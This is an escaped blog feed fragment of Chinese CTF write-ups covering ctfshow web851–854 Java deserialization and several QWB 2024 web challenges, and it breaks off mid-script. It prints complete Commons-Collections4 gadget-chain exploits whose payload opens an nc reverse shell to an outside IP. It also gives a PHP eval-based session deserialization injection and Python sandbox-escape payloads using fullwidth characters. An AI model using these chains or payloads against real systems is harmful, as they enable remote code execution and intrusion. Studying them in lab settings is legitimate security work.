 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;blockquote&gt;
&lt;p&gt;提交&lt;strong&gt;ctfshow&lt;/strong&gt;参数进行base64解码
然后进行反序列化
我是java8，使用了&lt;strong&gt;commons-collections 4.0&lt;/strong&gt;的库并对一些可能有危险的类进行了封禁，
为了保证业务安全，我删除了nc和curl命令&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;使用CC4，但是对一些类进行了封禁，那就不能用CC4和CC2了&lt;/p&gt;
&lt;p&gt;基于CC7的野链&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package ctfshow;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class web851 {
 public static void main(String[] args) throws Exception {
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer(&amp;#34;getMethod&amp;#34;, new Class[]{String.class, Class[].class}, new Object[]{&amp;#34;getRuntime&amp;#34;, null}),
 new InvokerTransformer(&amp;#34;invoke&amp;#34;, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer(&amp;#34;exec&amp;#34;, new Class[]{String.class}, new Object[]{&amp;#34;nc 60.205.1.86:9000 -e /bin/sh&amp;#34;})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
 HashMap&amp;lt;Object, Object&amp;gt; hashMap1 = new HashMap&amp;lt;&amp;gt;();
 HashMap&amp;lt;Object, Object&amp;gt; hashMap2 = new HashMap&amp;lt;&amp;gt;();
 Map decorateMap1 = LazyMap.lazyMap(hashMap1, chainedTransformer);
 decorateMap1.put(&amp;#34;yy&amp;#34;, 1);
 Map decorateMap2 = LazyMap.lazyMap(hashMap2, chainedTransformer);
 decorateMap2.put(&amp;#34;zZ&amp;#34;, 1);
 Hashtable hashtable = new Hashtable();
 hashtable.put(decorateMap1, 1);
 hashtable.put(decorateMap2, 1);

 Class c = ChainedTransformer.class;
 Field field = c.getDeclaredField(&amp;#34;iTransformers&amp;#34;);
 field.setAccessible(true);
 field.set(chainedTransformer, transformers);
 decorateMap2.remove(&amp;#34;yy&amp;#34;);

 serialize(hashtable);


 }
 public static void serialize(Object obj) throws Exception{
 ByteArrayOutputStream data=new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(data);
 oos.writeObject(obj);
 oos.flush();
 oos.close();
 System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
 }



}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;基于CC6的野链&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package ctfshow;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;
public class web851cc6 {
 public static void main(String[] args) throws Exception {
 Transformer[] tansformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer(&amp;#34;getMethod&amp;#34;,new Class[]{String.class,Class[].class},new Object[]{&amp;#34;getRuntime&amp;#34;,null}),
 new InvokerTransformer(&amp;#34;invoke&amp;#34;,new Class[]{Object.class,Object[].class},new Object[]{null,null}),
 new InvokerTransformer(&amp;#34;exec&amp;#34;,new Class[]{String.class},new Object[]{&amp;#34;nc 60.205.1.86:9000 -e /bin/sh&amp;#34;})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(tansformers);
 HashMap&amp;lt;Object,Object&amp;gt; map = new HashMap&amp;lt;Object,Object&amp;gt;();
 Map&amp;lt;Object,Object&amp;gt; lazymap = LazyMap.lazyMap(map,new ConstantTransformer(1));

 HashMap&amp;lt;Object,Object&amp;gt; map2 = new HashMap&amp;lt;&amp;gt;();

 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,&amp;#34;p0&amp;#34;);

 map2.put(tiedMapEntry,&amp;#34;p1&amp;#34;);
 map.remove(&amp;#34;p0&amp;#34;);

 Class c = LazyMap.class;
 Field fieldfactory = c.getDeclaredField(&amp;#34;factory&amp;#34;);
 fieldfactory.setAccessible(true);
 fieldfactory.set(lazymap,chainedTransformer);
 serialize(map2);


 }
 public static void serialize(Object obj) throws Exception{
 ByteArrayOutputStream data=new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(data);
 oos.writeObject(obj);
 oos.flush();
 oos.close();
 System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
 }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202503191855655.png' alt="image-20250319170255757"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="web852"&gt;&lt;span&gt;web852&lt;/span&gt;
 &lt;a href="#web852" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;blockquote&gt;
&lt;p&gt;提交&lt;strong&gt;ctfshow&lt;/strong&gt;参数进行base64解码
然后进行反序列化
我是java8，使用了&lt;strong&gt;commons-collections 4.0&lt;/strong&gt;的库并对一些可能有危险的类进行了封禁，
为了保证业务安全，我删除了nc和curl命令&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;同web851&lt;/p&gt;
&lt;h1 class="heading-element" id="web853"&gt;&lt;span&gt;web853&lt;/span&gt;
 &lt;a href="#web853" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;blockquote&gt;
&lt;p&gt;提交&lt;strong&gt;ctfshow&lt;/strong&gt;参数进行base64解码
然后进行反序列化
我是java8，使用了&lt;strong&gt;commons-collections 4.0&lt;/strong&gt;的库并对一些可能有危险的类进行了封禁，
为了保证业务安全，我删除了nc和curl命令&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;用web851的CC7&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202503191855642.png' alt="image-20250319170725730"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="web854"&gt;&lt;span&gt;web854&lt;/span&gt;
 &lt;a href="#web854" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;blockquote&gt;
&lt;p&gt;提交&lt;strong&gt;ctfshow&lt;/strong&gt;参数进行base64解码
然后进行反序列化
我是java8，使用了&lt;strong&gt;commons-collections 4.0&lt;/strong&gt;的库并对一些可能有危险的类进行了封禁，包含:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TransformedMap&lt;/li&gt;
&lt;li&gt;PriorityQueue&lt;/li&gt;
&lt;li&gt;InstantiateTransformer&lt;/li&gt;
&lt;li&gt;TransformingComparator&lt;/li&gt;
&lt;li&gt;TemplatesImpl&lt;/li&gt;
&lt;li&gt;AnnotationInvocationHandler&lt;/li&gt;
&lt;li&gt;HashSet&lt;/li&gt;
&lt;li&gt;Hashtable&lt;/li&gt;
&lt;li&gt;LazyMap&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;boogipop师傅的CC6+CC4，把LazyMap换成DefaultedMap&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Gadget chain:
	 java.io.ObjectInputStream.readObject()
 java.util.HashMap.readObject()
 java.util.HashMap.hash()
 org.apache.commons.collections4.keyvalue.TiedMapEntry.hashCode()
 org.apache.commons.collections4.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections4.map.DefaultedMap.get()
 org.apache.commons.collections4.functors.ChainedTransformer.transform()
 org.apache.commons.collections4.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()&lt;/code&gt;&lt;/pre&gt;&lt;pre&gt;&lt;code&gt;package ctfshow;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.DefaultedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class web854cc6 {
 public static void main(String[] args) throws Exception{
 Transformer[] tansformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer(&amp;#34;getMethod&amp;#34;,new Class[]{String.class,Class[].class},new Object[]{&amp;#34;getRuntime&amp;#34;,null}),
 new InvokerTransformer(&amp;#34;invoke&amp;#34;,new Class[]{Object.class,Object[].class},new Object[]{null,null}),
 new InvokerTransformer(&amp;#34;exec&amp;#34;,new Class[]{String.class},new Object[]{&amp;#34;nc 60.205.1.86 9000 -e /bin/sh&amp;#34;})
 };
 Transformer transformerchain = new ChainedTransformer(new Transformer[] {});
 ChainedTransformer chainedTransformer = new ChainedTransformer(tansformers);
 HashMap&amp;lt;Object,Object&amp;gt; map = new HashMap&amp;lt;Object,Object&amp;gt;();
 HashMap&amp;lt;Object,Object&amp;gt; map2 = new HashMap&amp;lt;Object,Object&amp;gt;();

 Class&amp;lt;DefaultedMap&amp;gt; d = DefaultedMap.class;
 Constructor&amp;lt;DefaultedMap&amp;gt; defaultedMapConstructor = d.getDeclaredConstructor(Map.class,Transformer.class);
 defaultedMapConstructor.setAccessible(true);
 DefaultedMap defaultedMap = defaultedMapConstructor.newInstance(map,transformerchain);
 TiedMapEntry tiedMapEntry = new TiedMapEntry(defaultedMap,&amp;#34;p0&amp;#34;);
 map2.put(tiedMapEntry,&amp;#34;p1&amp;#34;);
 map.remove(&amp;#34;p0&amp;#34;);

 Field iTransformers = ChainedTransformer.class.getDeclaredField(&amp;#34;iTransformers&amp;#34;);
 iTransformers.setAccessible(true);
 iTransformers.set(transformerchain,tansformers);

 serialize(map2);

 }
 public static void serialize(Object obj) throws Exception{
 ByteArrayOutputStream data=new ByteArrayOutputStream();
 ObjectOutputStream oos = new ObjectOutputStream(data);
 oos.writeObject(obj);
 oos.flush();
 oos.close();
 System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
 }

}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202503191855702.png' alt="image-20250319184548067"&gt;&lt;/p&gt;</description></item><item><title>2024 第八届强网杯线上赛Web Writeup</title><link>https://blog.p0l1st.top/post/2024-%E7%AC%AC%E5%85%AB%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%9D%AF%E7%BA%BF%E4%B8%8A%E8%B5%9Bweb-writeup/</link><pubDate>Mon, 04 Nov 2024 10:38:00 +0000</pubDate><author>p0l1st@venomsec.org (p0l1st)</author><guid>https://blog.p0l1st.top/post/2024-%E7%AC%AC%E5%85%AB%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%9D%AF%E7%BA%BF%E4%B8%8A%E8%B5%9Bweb-writeup/</guid><category domain="https://blog.p0l1st.top/categories/ctf/">CTF</category><description>&lt;h1 class="heading-element" id="pyblockly"&gt;&lt;span&gt;PyBlockly&lt;/span&gt;
 &lt;a href="#pyblockly" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;python沙箱逃逸，关键是过滤了很多符号，但是使用了unicode.unicode，可以把unicode字符转换成最相似的ASCII字符，使用中文符号绕过即可&lt;/p&gt;
&lt;p&gt;先来查看根目录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;‘；＿＿import＿＿（”builtins”）。len＝lambda p：0；’‘；＿＿import＿＿（”os”）。system（”ls －al ／”）；’&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038455.png' alt="image-20241103223850756"&gt;&lt;/p&gt;
&lt;p&gt;发现flag只有root用户可以读取，那我们可以使用dd if直接读取flag文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;‘；＿＿import＿＿（”builtins”）。len＝lambda p：0；’‘；＿＿import＿＿（”os”）。system（”dd if＝／flag”）；’&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038610.png' alt="image-20241103223754194"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="platform"&gt;&lt;span&gt;platform&lt;/span&gt;
 &lt;a href="#platform" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;扫一下后台得到www.zip&lt;/p&gt;
&lt;p&gt;看了一下class.php里面的内容，猜测是一个session反序列化逃逸。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038518.png' alt="image-20241103173222772"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038892.png' alt="image-20241103173032283"&gt;&lt;/p&gt;
&lt;p&gt;在本地搭建一个环境看一下。&lt;/p&gt;
&lt;p&gt;随便注册一个用户登陆进去之后，会生成一个sess_xxxxx的文件 并且这个key是随机的，我们并不能确定。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038248.png' alt="image-20241103173430392"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038988.png' alt="image-20241103173952232"&gt;&lt;/p&gt;
&lt;p&gt;我们需要利用这个去执行命令，先生成一个phpinfo的内容。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
class notouchitsclass {
 public $data;

 public function __construct($data) {
 $this-&amp;gt;data = $data;
 }

 public function __destruct() {
 eval($this-&amp;gt;data);
 }
}
echo serialize(new notouchitsclass(&amp;#39;phpinfo();&amp;#39;));
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038815.png' alt="image-20241103174039696"&gt;&lt;/p&gt;
&lt;p&gt;然后将password那地方给替换掉。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038811.png' alt="image-20241103174105394"&gt;&lt;/p&gt;
&lt;p&gt;刷新可以看到执行了phpinfo,那么思路猜测的是正确的，我们需要去进行逃逸，将session_key和password都吃掉，生成一个新的我们构造的password.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038910.png' alt="image-20241103174233912"&gt;&lt;/p&gt;
&lt;p&gt;命令执行我们用echo ``&lt;/p&gt;
&lt;p&gt;username我们传入 execexecexecexecexecexecexecexecexecexecexecexecexecexecexecexecexec&lt;/p&gt;
&lt;p&gt;password我们传入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#34;;password|O:15:&amp;#34;notouchitsclass&amp;#34;:1:{s:4:&amp;#34;data&amp;#34;;s:12:&amp;#34;echo `ls /`;&amp;#34;;}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;因为这个key我们无法预测，可以bp一直跑。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038876.png' alt="image-20241103180526528"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038826.png' alt="image-20241103180536998"&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#34;;password|O:15:&amp;#34;notouchitsclass&amp;#34;:1:{s:4:&amp;#34;data&amp;#34;;s:23:&amp;#34;echo `ls /;./readflag`;&amp;#34;;}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038906.png' alt="image-20241103180816818"&gt;&lt;/p&gt;
&lt;p&gt;​&lt;/p&gt;
&lt;h1 class="heading-element" id="xiaohuanxiong"&gt;&lt;span&gt;xiaohuanxiong&lt;/span&gt;
 &lt;a href="#xiaohuanxiong" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;扫描admin的二级目录&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411032258233.png' alt="image-20241102235056505"&gt;&lt;/p&gt;
&lt;p&gt;访问/admin/authors&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411032258218.png' alt="image-20241102235224844"&gt;&lt;/p&gt;
&lt;p&gt;然后修改管理员密码&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411032258221.png' alt="image-20241102235157267"&gt;&lt;/p&gt;
&lt;p&gt;47bb1842b6&lt;/p&gt;
&lt;p&gt;登录后支付设置直接写入命令&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411032258222.png' alt="image-20241102235404492"&gt;&lt;/p&gt;
&lt;p&gt;访问拿到flag&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038362.png' alt="image-20241102235439049"&gt;&lt;/p&gt;
&lt;p&gt;​&lt;/p&gt;
&lt;h1 class="heading-element" id="snake"&gt;&lt;span&gt;snake&lt;/span&gt;
 &lt;a href="#snake" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;进去之后输入username,然后是一个贪吃蛇的，速度挺快的，扫目录也没得到啥，应该是要到达一定的分数，把game.js给ai拷打一下。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411032300731.png' alt="image-20241103213845717"&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import json
from heapq import heappop, heappush

current_direction = &amp;#34;RIGHT&amp;#34;
last_direction = &amp;#34;RIGHT&amp;#34;

direction_map = {
 &amp;#34;UP&amp;#34;: &amp;#34;DOWN&amp;#34;,
 &amp;#34;DOWN&amp;#34;: &amp;#34;UP&amp;#34;,
 &amp;#34;LEFT&amp;#34;: &amp;#34;RIGHT&amp;#34;,
 &amp;#34;RIGHT&amp;#34;: &amp;#34;LEFT&amp;#34;
}

def heuristic(a, b):
 return abs(a[0] - b[0]) &amp;#43; abs(a[1] - b[1])

def a_star_search(start, goal, grid_size, snake):
 open_set = []
 heappush(open_set, (0, start))
 came_from = {}
 g_score = {start: 0}
 f_score = {start: heuristic(start, goal)}

 while open_set:
 _, current = heappop(open_set)

 if current == goal:
 path = []
 while current in came_from:
 path.append(current)
 current = came_from[current]
 path.reverse()
 return path

 for dx, dy in [(0, -1), (0, 1), (-1, 0), (1, 0)]:
 neighbor = (current[0] &amp;#43; dx, current[1] &amp;#43; dy)
 if 0 &amp;lt;= neighbor[0] &amp;lt; grid_size and 0 &amp;lt;= neighbor[1] &amp;lt; grid_size and neighbor not in snake:
 tentative_g_score = g_score[current] &amp;#43; 1
 if neighbor not in g_score or tentative_g_score &amp;lt; g_score[neighbor]:
 came_from[neighbor] = current
 g_score[neighbor] = tentative_g_score
 f_score[neighbor] = tentative_g_score &amp;#43; heuristic(neighbor, goal)
 heappush(open_set, (f_score[neighbor], neighbor))

 return []

def get_next_direction(snake, food, grid_size):
 global current_direction, last_direction

 head_x, head_y = snake[0][&amp;#39;x&amp;#39;], snake[0][&amp;#39;y&amp;#39;]
 food_x, food_y = food[0], food[1]

 path = a_star_search((head_x, head_y), (food_x, food_y), grid_size, [(seg[&amp;#39;x&amp;#39;], seg[&amp;#39;y&amp;#39;]) for seg in snake])

 if path:
 next_x, next_y = path[0]
 if next_x &amp;gt; head_x:
 return &amp;#34;RIGHT&amp;#34;
 elif next_x &amp;lt; head_x:
 return &amp;#34;LEFT&amp;#34;
 elif next_y &amp;gt; head_y:
 return &amp;#34;DOWN&amp;#34;
 elif next_y &amp;lt; head_y:
 return &amp;#34;UP&amp;#34;
 else:
 possible_directions = [&amp;#34;UP&amp;#34;, &amp;#34;DOWN&amp;#34;, &amp;#34;LEFT&amp;#34;, &amp;#34;RIGHT&amp;#34;]
 possible_directions.remove(direction_map[current_direction])
 return possible_directions[0]

url = &amp;#34;http://eci-2zeg9nmyrzhwzgcfhwik.cloudeci1.ichunqiu.com:5000/move&amp;#34;
headers = {
 &amp;#34;User-Agent&amp;#34;: &amp;#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0&amp;#34;,
 &amp;#34;Accept&amp;#34;: &amp;#34;*/*&amp;#34;,
 &amp;#34;Accept-Language&amp;#34;: &amp;#34;zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2&amp;#34;,
 &amp;#34;Accept-Encoding&amp;#34;: &amp;#34;gzip, deflate&amp;#34;,
 &amp;#34;Referer&amp;#34;: &amp;#34;http://eci-2zeg9nmyrzhwzgcfhwik.cloudeci1.ichunqiu.com:5000/&amp;#34;,
